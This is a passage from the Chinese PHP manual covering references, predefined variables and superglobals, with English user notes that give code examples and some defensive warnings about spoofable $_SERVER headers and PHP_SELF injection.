$a=&$c['one'][2];
/* Look at memory
 _______________________________
|pointer | value |       variable's       |
 -----------------------------------
|   1     |  NULL  |       ---              |  //value of  $a is destroyed and pointer is free
|   2     |  20     |       $b               |
|   3     |  1       |      $c['one'][0]   |
|   4     |  2       |      $c['one'][1]   |
|   5     |  3       |  $c['one'][2]  ,$a | // $a is now here
------------------------------------
do  */
$b=&$a;  // or  $b=&$c['one'][2]; result is same as both "$c['one'][2]" and "$a" is at same pointer.
/* Look at memory
 _________________________________
|pointer | value |       variable's           |
 --------------------------------------
|   1     |  NULL  |       ---                  |
|   2     |  NULL  |       ---                  |  //value of  $b is destroyed and pointer is free
|   3     |  1       |      $c['one'][0]       |
|   4     |  2       |      $c['one'][1]       |
|   5     |  3       |$c['one'][2]  ,$a , $b |  // $b is now here
---------------------------------------
next do */
unset($c['one'][2]);
/* Look at memory
 _________________________________
|pointer | value |       variable's           |
 --------------------------------------
|   1     |  NULL  |       ---                  |
|   2     |  NULL  |       ---                  |
|   3     |  1       |      $c['one'][0]       |
|   4     |  2       |      $c['one'][1]       |
|   5     |  3       |      $a , $b              | // $c['one'][2]  is  destroyed not in memory, not in array
---------------------------------------
next do   */
$c['one'][2]=500;    //now it is in array
/* Look at memory
 _________________________________
|pointer | value |       variable's           |
 --------------------------------------
|   1     |  500    |      $c['one'][2]       |  //created it lands on any(next) free pointer in memory
|   2     |  NULL  |       ---                  |
|   3     |  1       |      $c['one'][0]       |
|   4     |  2       |      $c['one'][1]       |
|   5     |  3       |      $a , $b              | //this pointer is in use
---------------------------------------
lets tray to return $c['one'][2] at old pointer an remove reference $a,$b.  */
$c['one'][2]=&$a;
unset($a);
unset($b);
/* look at memory
 _________________________________
|pointer | value |       variable's           |
 --------------------------------------
|   1     |  NULL  |       ---                  |
|   2     |  NULL  |       ---                  |
|   3     |  1       |      $c['one'][0]       |
|   4     |  2       |      $c['one'][1]       |
|   5     |  3       |      $c['one'][2]       | //$c['one'][2] is returned, $a,$b is destroyed
--------------------------------------- ?>
I hope this helps.
sony-santos at bol dot com dot br 05-Feb-2007 03:56
<?php
//if you do:

$a = "hihaha";
$b = &$a;
$c = "eita";
$b = $c;
echo $a; // shows "eita"

$a = "hihaha";
$b = &$a;
$c = "eita";
$b = &$c;
echo $a; // shows "hihaha"

$a = "hihaha";
$b = &$a;
$b = null;
echo $a; // shows nothing (both are set to null)

$a = "hihaha";
$b = &$a;
unset($b);
echo $a; // shows "hihaha"

$a = "hihaha";
$b = &$a;
$c = "eita";
$a = $c;
echo $b; // shows "eita"

$a = "hihaha";
$b = &$a;
$c = "eita";
$a = &$c;
echo $b; // shows "hihaha"

$a = "hihaha";
$b = &$a;
$a = null;
echo $b; // shows nothing (both are set to null)

$a = "hihaha";
$b = &$a;
unset($a);
echo $b; // shows "hihaha"
?>

I tested each case individually on PHP 4.3.10.
lazer_erazer 05-Sep-2006 04:02
Your idea about unsetting all referenced variables at once is right,
just a tiny note that you changed NULL with unset()...
again, unset affects only one name and NULL affects the data,
which is kept by all the three names...

<?php
$a = 1;
$b =& $a;
$b = NULL;
?>

This does also work!

<?php
$a = 1;
$b =& $a;
$c =& $b;
$b = NULL;
?>
donny at semeleer dot nl 13-Jul-2006 07:10
Here's an example of unsetting a reference without losing an ealier set reference

<?php
$foo = 'Bob';              // Assign the value 'Bob' to $foo
$bar = &$foo;              // Reference $foo via $bar.
$bar = "My name is $bar";  // Alter $bar...
echo $bar;
echo $foo;                 // $foo is altered too.
$foo = "I am Frank";       // Alter $foo and $bar because of the reference
echo $bar;                 // output: I am Frank
echo $foo;                 // output: I am Frank

$foobar = &$bar;           // create a new reference between $foobar and $bar
$foobar = "hello $foobar"; // alter $foobar and with that $bar and $foo
echo $foobar;              //output : hello I am Frank
unset($bar);               // unset $bar and destroy the reference
$bar = "dude!";            // assign $bar
/* even though the reference between $bar and $foo is destroyed, and also the
reference between $bar and $foobar is destroyed, there is still a reference
between $foo and $foobar. */
echo $foo;                 // output : hello I am Frank
echo $bar;                 // output : due!
?>
libi 24-Jan-2006 12:20
clerca at inp-net dot eu dot org
"
If you have a lot of references linked to the same contents, maybe it could be useful to do this :
<?php
$a = 1;
$b = & $a;
$c = & $b; // $a, $b, $c reference the same content '1'

$b = NULL; // All variables $a, $b or $c are unset
?>

"

------------------------

NULL will not result in unseting the variables.
Its only change the value to "null" for all the variables.
becouse they all points to the same "part" in the memory.


引用定位

许多 PHP 的语法结构是通过引用机制实现的，所以上述有关引用绑定的一切也都适用于这些结构。 一些结构，例如引用传递和返回，已经在上面提到了。 其它使用引用的结构有：

global 引用

当用 global $var 声明一个变量时实际上建立了一个到全局变量的引用。 也就是说和这样做是相同的：

<?php
$var =& $GLOBALS["var"];
?>

这意味着，例如，unset $var 不会 unset 全局变量。

$this

在一个对象的方法中，$this 永远是调用它的对象的引用。

User Contributed Notes

lutondatta at gmail dot com 06-Jan-2014 03:12
This is very useful in passing large arrays. If you do not pass the array by reference, you are creating another copy of the array in memory.
<?php
//Part 1
        $x = 40;
        $y = $x;
        $z =& $x;
        echo '$x is ' . $x . '<br />'; //Show 40
        echo '$y is ' . $y . '<br />'; //Show 40
        echo '$z is ' . $z . '<br />'; //Show 40
//Part 2
        $x = 50;
        echo '$x is ' . $x . '<br />'; //Show 50
        echo '$y is ' . $y . '<br />'; //Show 40
        echo '$z is ' . $z . '<br />'; //Show 50
?>
In part 2 value of $z will changes according to $x.
CodeWorX.ch 02-Aug-2011 01:38
here is an unconventional (and not very fast) way of detecting references within arrays:

<?php

    function is_array_reference ($arr, $key) {
        $isRef = false;
        ob_start();
        var_dump($arr);
        if (strpos(preg_replace("/[ \n\r]*/i", "", preg_replace("/( ){4,}.*(\n\r)*/i", "", ob_get_contents())), "[" . $key . "]=>&") !== false)
            $isRef = true;
        ob_end_clean();
        return $isRef;
    }

?>
Abimael Rodrguez Coln 26-Apr-2011 11:55
This is one way to check if is a reference
<?php
$a = 1;
$b =& $a;
$c = 2;
$d = 3;
$e = array($a);
function is_reference($var){
    $val = $GLOBALS[$var];
    $tmpArray = array();
    /**
     * Add keys/values without reference
     */
    foreach($GLOBALS as $k => $v){
        if(!is_array($v)){
            $tmpArray[$k] = $v;
        }
    }

    /**
     * Change value of rest variables
     */
    foreach($GLOBALS as $k => $v){
        if($k != 'GLOBALS'
            && $k != '_POST'
            && $k != '_GET'
            && $k != '_COOKIE'
            && $k != '_FILES'
            && $k != $var
            && !is_array($v)
        ){
            usleep(1);
            $GLOBALS[$k] = md5(microtime());
        }
    }

    $bool = $val != $GLOBALS[$var];

    /**
     * Restore defaults values
     */
    foreach($tmpArray as $k => $v){
        $GLOBALS[$k] = $v;
    }

    return $bool;
}
var_dump(is_reference('a'));
var_dump(is_reference('b'));
var_dump(is_reference('c'));
var_dump(is_reference('d'));
?>

This won't check if reference is inside a array.
BenBE at omorphia dot de 07-Jan-2007 11:37
Hi,

If you want to check if two variables are referencing each other (i.e. point to the same memory) you can use a function like this:

<?php

function same_type(&$var1, &$var2){
    return gettype($var1) === gettype($var2);
}

function is_ref(&$var1, &$var2) {
    //If a reference exists, the type IS the same
    if(!same_type($var1, $var2)) {
        return false;
    }

    $same = false;

    //We now only need to ask for var1 to be an array ;-)
    if(is_array($var1)) {
        //Look for an unused index in $var1
        do {
            $key = uniqid("is_ref_", true);
        } while(array_key_exists($key, $var1));

        //The two variables differ in content ... They can't be the same
        if(array_key_exists($key, $var2)) {
            return false;
        }

        //The arrays point to the same data if changes are reflected in $var2
        $data = uniqid("is_ref_data_", true);
        $var1[$key] =& $data;
        //There seems to be a modification ...
        if(array_key_exists($key, $var2)) {
            if($var2[$key] === $data) {
                $same = true;
            }
        }

        //Undo our changes ...
        unset($var1[$key]);
    } elseif(is_object($var1)) {
        //The same objects are required to have equal class names ;-)
        if(get_class($var1) !== get_class($var2)) {
            return false;
        }

        $obj1 = array_keys(get_object_vars($var1));
        $obj2 = array_keys(get_object_vars($var2));

        //Look for an unused index in $var1
        do {
            $key = uniqid("is_ref_", true);
        } while(in_array($key, $obj1));

        //The two variables differ in content ... They can't be the same
        if(in_array($key, $obj2)) {
            return false;
        }

        //The arrays point to the same data if changes are reflected in $var2
        $data = uniqid("is_ref_data_", true);
        $var1->$key =& $data;
        //There seems to be a modification ...
        if(isset($var2->$key)) {
            if($var2[$key] === $data) {
                $same = true;
            }
        }

        //Undo our changes ...
        unset($var1->$key);
    } elseif (is_resource($var1)) {
        if(get_resource_type($var1) !== get_resource_type($var2)) {
            return false;
        }

        return ((string) $var1) === ((string) $var2);
    } else {
        //Simple variables ...
        if($var1!==$var2) {
            //Data mismatch ... They can't be the same ...
            return false;
        }

        //To check for a reference of a variable with simple type
        //simply store its old value and check against modifications of the second variable ;-)

        do {
            $key = uniqid("is_ref_", true);
        } while($key === $var1);

        $tmp = $var1; //WE NEED A COPY HERE!!!
        $var1 = $key; //Set var1 to the value of $key (copy)
        $same = $var1 === $var2; //Check if $var2 was modified too ...
        $var1 = $tmp; //Undo our changes ...
    }

    return $same;
}

?>

Although this implementation is quite complete, it can't handle function references and some other minor stuff ATM.
This function is especially useful if you want to serialize a recursive array by hand.

The usage is something like:
<?php
$a = 5;
$b = 5;
var_dump(is_ref($a, $b)); //false

$a = 5;
$b = $a;
var_dump(is_ref($a, $b)); //false

$a = 5;
$b =& $a;
var_dump(is_ref($a, $b)); //true
echo "---\n";

$a = array();
var_dump(is_ref($a, $a)); //true

$a[] =& $a;
var_dump(is_ref($a, $a[0])); // true
echo "---\n";

$b = array(array());
var_dump(is_ref($b, $b)); //true
var_dump(is_ref($b, $b[0])); //false
echo "---\n";

$b = array();
$b[] = $b;
var_dump(is_ref($b, $b)); //true
var_dump(is_ref($b, $b[0])); //false
var_dump(is_ref($b[0], $b[0][0])); //true*
echo "---\n";

var_dump($a);
var_dump($b);

?>

* Please note the internal behaviour of PHP that seems to do the reference assignment BEFORE actually copying the variable!!! Thus you get an array containing a (different) recursive array for the last testcase, instead of an array containing an empty array as you could expect.

BenBE.
ludvig dot ericson at gmail dot com 27-Feb-2006 03:36
For the sake of clarity:

$this is a PSEUDO VARIABLE - thus not a real variable. ZE treats is in other ways then normal variables, and that means that some advanced variable-things won't work on it (for obvious reasons):

<?php
class Test {
    var $monkeys = 0;

    function doFoobar() {
        $var = "this";
        $$var->monkeys++; // Will fail on this line.
    }
}

$obj = new Test;
$obj->doFoobar(); // Will fail in this call.
var_dump($obj->monkeys); // Will return int(0) if it even reaches here.
?>
ksamvel at gmail dot com 10-Feb-2006 09:02
One may check reference to any object by simple operator==( object). Example:

<?php
  class A {}

  $oA1 = new A();

  $roA = & $oA1;

  echo "roA and oA1 are " . ( $roA == $oA1 ? "same" : "not same") . "<br>";

  $oA2 = new A();
  $roA = & $roA2;

  echo "roA and oA1 are " . ( $roA == $oA1 ? "same" : "not same") . "<br>";
?>

Output:

roA and oA1 are same
roA and oA1 are not same

Current technique might be useful for caching in objects when inheritance is used and only base part of extended class should be copied (analog of C++: oB = oA):

<?php
class A {
  /* Any function changing state of A should set $bChanged to true */
  public function isChanged() { return $this->bChanged; }
  private $bChanged;
  //...
}

class B extends A {
// ...
  public function set( &$roObj) {
    if( $roObj instanceof A) {
      if( $this->roAObj == $roObj &&
          $roObj->isChanged()) {
        /* Object was not changed do not need to copy A part of B */
      } else {
        /* Copy A part of B */
        $this->roAObj = &$roObj;
      }
    }
  }

  private $roAObj;
}
?>
Sergio Santana: ssantana at tlaloc dot imta dot mx 16-Dec-2005 08:41
*** WARNING about OBJECTS TRICKY REFERENCES ***
-----------------------------------------------
The use of references in the context of classes
and objects, though well defined in the documentation,
is somehow tricky, so one must be very careful when
using objects. Let's examine the following two
examples:

<?php
  class y {
    public $d;
  }

  $A = new y;
  $A->d = 18;
  echo "Object \$A before operation:\n";
  var_dump($A);

  $B = $A; // This is not an explicit (=&) reference assignment,
           // however, $A and $B refer to the same instance
           // though they are not equivalent names
  $C =& $A; // Explicit reference assignment, $A and $C refer to
            // the same instance and they have become equivalent
            // names of the same instance

  $B->d = 1234;

  echo "\nObject \$B after operation:\n";
  var_dump($B);
  echo "\nObject \$A implicitly modified after operation:\n";
  var_dump($A);
  echo "\nObject \$C implicitly modified after operation:\n";
  var_dump($C);

  // Let's make $A refer to another instance
  $A = new y;
  $A->d = 25200;
  echo "\nObject \$B after \$A modification:\n";
  var_dump($B); // $B doesn't change
  echo "\nObject \$A after \$A modification:\n";
  var_dump($A);
  echo "\nObject \$C implicitly modified after \$A modification:\n";
  var_dump($C); // $C changes as $A changes
?>

Thus, note the difference between assignments $X = $Y and $X =& $Y.
When $Y is anything but an object instance, the first assignment means
that $X will hold an independent copy of $Y, and the second, means that
$X and $Y will refer to the same thing, so they are tight together until
either $X or $Y is forced to refer to another thing. However, when $Y
happens to be an object instance, the semantic of $X = $Y changes and
becomes only slightly different to that of $X =& $Y, since in both
cases $X and $Y become references to the same object. See what this
example outputs:

Object $A before operation:
object(y)#1 (1) {
  ["d"]=>
  int(18)
}

Object $B after operation:
object(y)#1 (1) {
  ["d"]=>
  int(1234)
}

Object $A implicitly modified after operation:
object(y)#1 (1) {
  ["d"]=>
  int(1234)
}

Object $C implicitly modified after operation:
object(y)#1 (1) {
  ["d"]=>
  int(1234)
}

Object $B after $A modification:
object(y)#1 (1) {
  ["d"]=>
  int(1234)
}

Object $A after $A modification:
object(y)#2 (1) {
  ["d"]=>
  int(25200)
}

Object $C implicitly modified after $A modification:
object(y)#2 (1) {
  ["d"]=>
  int(25200)
}

Let's review a SECOND EXAMPLE:
<?php
  class yy {
    public $d;
    function yy($x) {
      $this->d = $x;
    }
  }

  function modify($v)
  {
     $v->d = 1225;
  }

  $A = new yy(3);
  var_dump($A);
  modify($A);
  var_dump($A);
?>

Although, in general, a formal argument declared
as $v in the function 'modify' shown above, implies
that the actual argument $A, passed when calling
the function, is not modified, this is not the
case when $A is an object instance. See what the
example code outputs when executed:

object(yy)#3 (1) {
  ["d"]=>
  int(3)
}
object(yy)#3 (1) {
  ["d"]=>
  int(1225)
}
Sergio Santana: ssantana at tlaloc dot imta dot mx 10-Aug-2005 09:30
Sometimes an object's method returning a reference to itself is required. Here is a way to code it:

<?php
class MyClass {
  public $datum;
  public $other;

  function &MyRef($d) { // the method
    $this->datum = $d;
    return $this; // returns the reference
  }
}

$a = new MyClass;
$b = $a->MyRef(25); // creates the reference

echo "This is object \$a: \n";
print_r($a);
echo "This is object \$b: \n";
print_r($b);

$b->other = 50;

echo "This is object \$a, modified" .
     " indirectly by modifying ref \$b: \n";
print_r($a);
?>

This code outputs:
This is object $a:
MyClass Object
(
    [datum] => 25
    [other] =>
)
This is object $b:
MyClass Object
(
    [datum] => 25
    [other] =>
)
This is object $a, modified indirectly by modifying ref $b:
MyClass Object
(
    [datum] => 25
    [other] => 50
)


预定义变量

对于全部脚本而言，PHP 提供了大量的预定义变量。这些变量将所有的外部变量表示成内建环境变量，并且将错误信息表示成返回头。

Table of Contents

  • 超全局变量 — 在全部作用域中始终可用的内置变量
  • $GLOBALS — 引用全局作用域中可用的全部变量
  • $_SERVER — 服务器和执行环境信息
  • $_GET — HTTP GET 变量
  • $_POST — HTTP POST 变量
  • $_FILES — HTTP 文件上传变量
  • $_REQUEST — HTTP Request 变量
  • $_SESSION — Session 变量
  • $_ENV — 环境变量
  • $_COOKIE — HTTP Cookies
  • $php_errormsg — 前一个错误信息
  • $http_response_header — HTTP 响应头
  • $argc — 传递给脚本的参数数目
  • $argv — 传递给脚本的参数数组

User Contributed Notes

dusted at dusted dot dk 15-Mar-2011 02:32
I use HTTP_X_FORWARDED_FOR because my webserver is behind a reverse proxy.
This can be made secure:
Configure the reverse proxy to block this field, and override it correctly.
Configure the apache server to only accept incoming connections from the reverse proxy.
autofei at gmail dot com 17-Jun-2010 05:57
if you try to run php through command line, for example: php.exe c:\AppServ\www\cron_cache.php. You better avoid to use $_SERVER['DOCUMENT_ROOT'], because it will return nothing. Instead, you can use dirname(__FILE__). The reason to use command line running php is set it as Windows Scheduled Tasks. I did not test under Linux environment, but might be same.
spamtrap at scottydm dot com 12-Feb-2008 06:15
I was a little frustrated by the fact that some of the _SERVER variables didn't seem to exist, so I did a bit of Googling and found the answer: many of these variables are supplied by the web server and not all web servers supply the same set of variables.

I found a comparison between Apache v1.3.29 and IIS v5.1 on this page: http://koivi.com/apache-iis-php-server-array.php Useful for those of us doing cross-platform development.

While running experiments with different browsers I noticed some of the HTTP_* variables come and go depending on the browser used, or in the case of Opera by diddling the "user mode" (the widget that lets you look at a page as text only, etc.). For example: in IE and Opera HTTP_KEEP_ALIVE was missing, but was present in Firefox and Mozilla, and when I fiddled with Opera's "user mode" I got somethings called HTTP_TE and HTTP_CACHE_CONTROL.

So, what you get is dependent on the web server AND the browser.

I did see one IIS supplied variable not on that list: REQUEST_TIME, which seems to be in Unix timestamp format.

While researching this I discovered there are plenty of people who have their phpinfo() page visible and indexed on a few search engines. For those who want to dig a bit deeper than that nice web page comparing Apache to IIS, looking at other peoples' phpinfo() pages could be useful. You get the version of PHP plus OS and web server they use, along with all the _SERVER variables. I found the highest percent of signal-to-noise by searching for "phpinfo()" (with the quotes) on Dogpile: http://www.dogpile.com/
php-net dot ucn dot extranet dot sys at dark-chiaki dot net 13-Dec-2007 08:40
In addition to mfyahya at gmail dot com (2007-06-07 03:33):

If You are working with the Apache module mod_rewrite and want to set some environment vars, the Apache manual says this vars could be accessed in CGI using $ENV{VAR}. In PHP You might want to write $_ENV['VAR'] to get the value of VAR, but You have to access if via $_SERVER, and in some different ways:

1. Example: .htaccess and example.php

RewriteEngine on
RewriteRule ^?var1=([^;]*);var2=([^;]*)$ \
 - [E=VAR1:$1,E=VAR2:$2]

<?php echo($_SERVER['VAR1']."\r\n"
          .$_SERVER['VAR2']); ?>

2. Example: .htaccess and index.php

RewriteEngine on
RewriteRule ^index\.php$ - [L]
RewriteRule ?var1=([^;]*);var2=([^;]*)$ \
 index.php [E=VAR1:$1,E=VAR2:$2]

<?php echo($_SERVER['REDIRECT_VAR1']."\r\n"
          .$_SERVER['REDIRECT_VAR2']); ?>

Note: If any RewriteRule matches, an internal redirect than restarts (after the last defined rule, or immediately after the matched rule having a L-flag) checking the entire rule set again. For an internal redirect every defined VAR gets an 'REDIRECT_' prefix, i.e. VAR1 will be REDIRECT_VAR1, VAR2 will be REDIRECT_VAR2.

Of course, You can (additionally) redefine the original VAR:

RewriteEngine on
RewriteRule ^index\.php$ \
 - [E=VAR1:%{REDIRECT_VAR1},E=VAR2:%{REDIRECT_VAR2},L]
RewriteRule ?var1=([^;]*);var2=([^;]*)$ \
 index.php [E=VAR1:$1,E=VAR2:$2]

With this, You will have $_SERVER['REDIRECT_VAR*'] -and- $_SERVER['VAR*'].

***

The given examples are only for explanation, in any case they are not intended to fit Your needs. The "\<CRLF><SP>" in the .htaccess examples are only for display purpose, they should not occur in a real .htaccess file. The argument separator ';' in links can also be '&', but this may cause some trouble with HTML/XHTML. See the following pages for more information about this issue:
- http://www.w3.org/TR/html4/appendix/notes.html#h-B.2.2
- http://www.w3.org/QA/2005/04/php-session
Nicolae Namolovan 22-Nov-2007 11:49
SECURITY RISK !

Never ever trust the values that comes from $_SERVER.

HTTP_X_FORWARDED, HTTP_X_FORWARDED_FOR, HTTP_FORWARDED_FOR, HTTP_FORWARDED, etc.. can be spoofed !

To get the ip of user, use only $_SERVER['REMOTE_ADDR'], otherwise the 'ip' of user can be easily changed by sending a HTTP_X_* header, so user can escape a ban or spoof a trusted ip.

Of course this is well know, but I don't see it mentioned in these notes..

If you use the ip only for tracking (not for any security features like banning or allow access to something by ip), you can also use HTTP_X_FORWARDED to get user's ip what are behind proxy.
jsan 19-Oct-2007 12:39
@White-Gandalf: one can control this behavior by setting:

UseCanonicalName On|Off

in their apache config (at least, on *ix platforms).

On => $_SERVER['SERVER_NAME'] is the ServerName var from either the global server or virtual host, whichever wraps the PHP app closest.

Off => Whatever was in the Host: header sent by the client.
danvasile at pentest dot ro 21-Mar-2007 12:22
If you have problems with $_SERVER['HTTPS'], especially if it returns no values at all you should check the results of phpinfo(). It might not be listed at all.
Here is a solution to check and change, if necessary, to ssl/https that will work in all cases:

<?php
if ($_SERVER['SERVER_PORT']!=443) {
$sslport=443; //whatever your ssl port is
$url = "https://". $_SERVER['SERVER_NAME'] . ":" . $sslport . $_SERVER['REQUEST_URI'];
header("Location: $url");
}
?>

Of course, this should be done before any html tag or php echo/print.
Joe Marty 24-Jan-2007 11:53
I think it is very important to note that PHP will automatically replace dots ('.') AND spaces (' ') with underscores ('_') in any incoming POST or GET (or REQUEST) variables.

This page notes the dot replacement, but not the space replacement:
http://us2.php.net/manual/en/language.variables.external.php

The reason is that '.' and ' ' are not valid characters to use in a variable name.  This is confusing to many people, because most people use the format $_POST['name'] to access these values.  In this case, the name is not used as a variable name but as an array index, in which those characters are valid.

However, if the register_globals directive is set, these names must be used as variable names.  As of now, PHP converts the names for these variables before inserting them into the external variable arrays, unfortunately - rather than leaving them as they are for the arrays and changing the names only for the variables set by register_globals.

If you want to use:
<input name="title for page3.php" type="text">

The value you will get in your POST array, for isntance would be:
$_POST['title_for_page3_php']
jameslporter at gmail dot com 05-May-2006 12:19
Refer to CanonicalName if you are not getting the ServerName in the $_SERVER[SERVER_NAME] variable....This was a pain to figure out for me...now it works as expected by turning canonical naming on.

http://www.apacheref.com/ref/http_core/UseCanonicalName.html
Ben XO 14-Apr-2006 06:18
So you have an application in your web space, with a URL such as this:

http://<host>/<installation_path>/

and pages such as

http://<host>/<installation_path>/subfolder1/subfolder2/page.php

You have a file called config.php in <installation_path> which is include()d by all pages (in subfolders or not).

How to work out <installation_path> without hard-coding it into a config file?

<?php

// this is config.php, and it is in <installation_path>
// it is included by <installation_path>/page.php
// it is included by <installation_path>/subfolder/page2.php
// etc

$_REAL_SCRIPT_DIR = realpath(dirname($_SERVER['SCRIPT_FILENAME'])); // filesystem path of this page's directory (page.php)
$_REAL_BASE_DIR = realpath(dirname(__FILE__)); // filesystem path of this file's directory (config.php)
$_MY_PATH_PART = substr( $_REAL_SCRIPT_DIR, strlen($_REAL_BASE_DIR)); // just the subfolder part between <installation_path> and the page

$INSTALLATION_PATH = $_MY_PATH_PART
    ? substr( dirname($_SERVER['SCRIPT_NAME']), 0, -strlen($_MY_PATH_PART) )
    : dirname($_SERVER['SCRIPT_NAME'])
; // we subtract the subfolder part from the end of <installation_path>, leaving us with just <installation_path> :)

?>
todd dot kisov at yahoo dot com 03-Apr-2006 02:11
To convert query string parameter values ($_GET, $_REQUEST), which include escaped Unicode values resulting from applying the JavaScript "escape" function to a Unicode string (%uNNNN%uNNNN%uNNNN) fast and simple is to use PECL JSON extension:

function JavaScript_Unicode_URL_2_Str($js_uni_str) {
        $res = preg_replace('/%u([[:alnum:]]{4})/', '\\u\1', $js_uni_str);
        $res = str_replace('"', '\"', $res); // if in str "
        $res = json_decode('["'.$res.'"]'); // JavaScrip array with string element
        $res = $res[0];
        $res = iconv('UTF-8', ini_get('default_charset'), $res);
        return $res;
    }
31-Mar-2006 09:56
I was unable to convince my hosting company to change their installation of PHP and therefore had to find my own way to computer $_SERVER["DOCUMENT_ROOT"].  I eventually settled on the following, which is a combination of earlier notes (with some typos corrected):

<?php
if ( ! isset($_SERVER['DOCUMENT_ROOT'] ) )
  $_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr(
    $_SERVER['SCRIPT_FILENAME'], 0, 0-strlen($_SERVER['PHP_SELF']) ) );
?>
Aardvark 07-Mar-2006 01:35
$_GET may not handle query string parameter values which include escaped Unicode values resulting from applying the JavaScript "escape" function to a Unicode string.
To handle this the query parameter value can be obtained  using a function such as:

function getQueryParameter ($strParam) {
  $aParamList = explode('&', $_SERVER['QUERY_STRING']);
  $i = 0;
  while ($i < count($aParamList)) {
    $aParam = split('=', $aParamList[$i]);
    if ($strParam == $aParam[0]) {
      return $aParam[1];
    }
  }
  return "";
}

or by directly building an array or query string values and then processing the parameter string using a function such as the "unescape" function which can be found at http://www.kanolife.com/escape/2006/03/unicode-url-escapes-in-php.html (or http://www.kanolife.com/escape/ for related info).
justin dot (nospam)george at gmail dot com 28-Feb-2006 12:00
Note that it's a very, very bad idea to append to global variables in a loop, unless you really, really mean to do so in a global context. I just a while ago hung my server with a snippet of code like this:

<?php
$host  = $_SERVER['HTTP_HOST'];
$uri  = rtrim($_SERVER['PHP_SELF'], "/\\");

$GLOBALS['SITE_ROOT'] = "http://$host$uri";

while ($i < somenumber)
readfile($GLOBALS['SITE_ROOT'] = $GLOBALS['SITE_ROOT'] . '/this/file.php');
$i++
}
?>

While it is an entertaining and unusual method of creating very long URLs and breaking servers, it's a pretty awesomely bad idea

(Especially considering that the script in question ran concurrently with others of it's type, so the value in $GLOBALS['SITE_ROOT'] was unknown.)
nathan 22-Feb-2006 08:05
Also on using IPs to look up country & city, note that what you get might not be entirely accurate.  If their ISP is based in a different city or province/state, the IPs may be owned by the head office, and used across several areas.
You also have rarer situations where they might be SSHed into another server, on the road, at work, at a friend's...  It's a nice idea, but as the example code shows, it should only be used to set defaults.
drew dot griffiths at clare dot net 30-Sep-2005 08:51
Re: You can take advantage of 404 error to an usable redirection using REQUEST_URI ...

Whilst this is effective, a line in the .htaccess such as:

RewriteEngine On
RewriteRule ^profiles/([A-Za-z0-9-]+) showprofile.php?profile=$1 [L,NC,QSA]

will throw the requested profile in a variable $profile to the showprofile.php page.

You can further enhance the url (e.g http://servername/profiles/Jerry/homeaddress/index.htm) and the second variable value homeaddress becomes available in $url_array[3] when used below $url_array=explode("/",$_SERVER['REQUEST_URI']);

Hope this helps - Works well for me

Drew
Gregory Boshoff 31-Jul-2005 02:41
$_SERVER['QUERY_STRING']

Does not contain XHTML 1.1 compliant ampersands i.e. &amp;

So you will need to do something like this if you are to use $_SERVER['QUERY_STRING'] in URL's.

//  XHTML 1.1 compliant ampersands
$_SERVER['QUERY_STRING'] =
str_replace(array('&amp;', '&'), array('&', '&amp;'),
$_SERVER['QUERY_STRING']);
New York PHP 24-Jul-2005 06:59
Warning: $_SERVER['PHP_SELF'] can include arbitrary user input. The documentation should be updated to reflect this.

The request "http://example.com/info.php/attack%20here" will run /info.php, but in Apache $_SERVER['PHP_SELF'] will equal "/info.php/attack here". This is a feature, but it means that PHP_SELF must be treated as user input.

The attack string could contain urlencoded HTML and JavaScript (cross-site scripting) or it could contain urlencoded linebreaks (HTTP response-splitting).

The use of $_SERVER['SCRIPT_NAME'] is recommended instead.
daniel at softel dot jp 15-Jul-2005 11:43
Note that $php_errormsg may contain a newline character. This can be problematic if you are trying to output it with a JavaScript "alert()" for example.
mfyahya at gmail dot com 07-Jun-2005 06:33
If you use Apache's redirection features for custom error pages or whatever, the following Apache's REDIRECT variables are also available in $_SERVER:
$_SERVER['REDIRECT_UNIQUE_ID]'
$_SERVER['REDIRECT_SCRIPT_URL]'
$_SERVER['REDIRECT_SCRIPT_URI]'
$_SERVER['REDIRECT_SITE_ROOT]'
$_SERVER['REDIRECT_SITE_HTMLROOT]'
$_SERVER['REDIRECT_SITE_CGIROOT]'
$_SERVER['REDIRECT_STATUS]'
$_SERVER['REDIRECT_QUERY_STRING]'
$_SERVER['REDIRECT_URL]'

I'm not sure if this is a complete list though
Gregory Boshoff 13-Feb-2005 04:19
The Environment variable $ENV is useful for coding portable platform specific application constants.

// Define a Windows or else Linux root directory path
$_ENV['OS'] == 'Windows_NT' ? $path = 'L:\\www\\' : $path = ' /var/www/';

define('PATH', $path);

echo PATH;
marcus at lastcraft dot com 23-Jan-2005 04:02
The variable $php_errormsg is not populated if you have XDebug running.
mrnopersonality at yahoo dot com 19-Oct-2004 08:13
Nothing about the message-body ...

You can get cookies, session variables, headers, the request-uri , the request method, etc but not the message body. You may want it sometimes when your page is to be requested with the POST method.

Maybe they should have mentioned $HTTP_RAW_POST_DATA or php://stdin
youdontmeanmuch [at] yahoo.com 05-Apr-2004 09:20
Be carful when using $_SERVER['DOCUMENT_ROOT']; in your applications where you want to distribute them to other people with different server types. It isnt always supported by the webserver (IIS).
josh,endquote,com 03-Dec-2003 03:54
Running PHP 4.3 under IIS 5 on Windows XP, there is no $_SERVER['REQUEST_URI'] variable. This seems to fix it:

if(!isset($_SERVER['REQUEST_URI'])) {
    $_SERVER['REQUEST_URI'] = substr($_SERVER['argv'][0], strpos($_SERVER['argv'][0], ';') + 1);
}


在全部作用域中始终可用的内置变量

  • ? 预定义变量
  • $GLOBALS ?
  • PHP Manual
  • 预定义变量
  • 在全部作用域中始终可用的内置变量

超全局变量

超全局变量 — 在全部作用域中始终可用的内置变量

说明

PHP 中的许多预定义变量都是"超全局的"，这意味着它们在一个脚本的全部作用域中都可用。在函数或方法中无需执行 global $variable; 就可以访问它们。

这些超全局变量是：

  • $GLOBALS
  • $_SERVER
  • $_GET
  • $_POST
  • $_FILES
  • $_COOKIE
  • $_SESSION
  • $_REQUEST
  • $_ENV

注释

Note: 变量可用性

默认情况下，所有的超全局变量都是可用的。但是，有一些指令会影响这种可用性。更多信息，参见文档 variables_order.

Note: 可变变量

在函数或类方法中，超全局变量不能被用作可变变量。

参见

  • 变量作用域
  • variables_order 指令
  • 过滤器扩展

User Contributed Notes

greaties at ghvernuft dot nl 22-Apr-2023 11:15
two bugs fixed in Mife's comment, but then it works:

<?php
// You do need global in this special situation
function get_var($varname){
  global $$varname;
  var_dump( $$varname);
}

get_var('_POST');
?>
mife 05-Sep-2019 05:40
// You do need global in this special situation

function get_var($varname){
  global $$varname;
  echo $$varname;
}

show_var('_POST');
kitchin 14-May-2013 06:09
Since PHP 5.4, you cannot use a superglobal as the parameter to a function. This causes a fatal error:

function foo($_GET) {
  // whatever
}

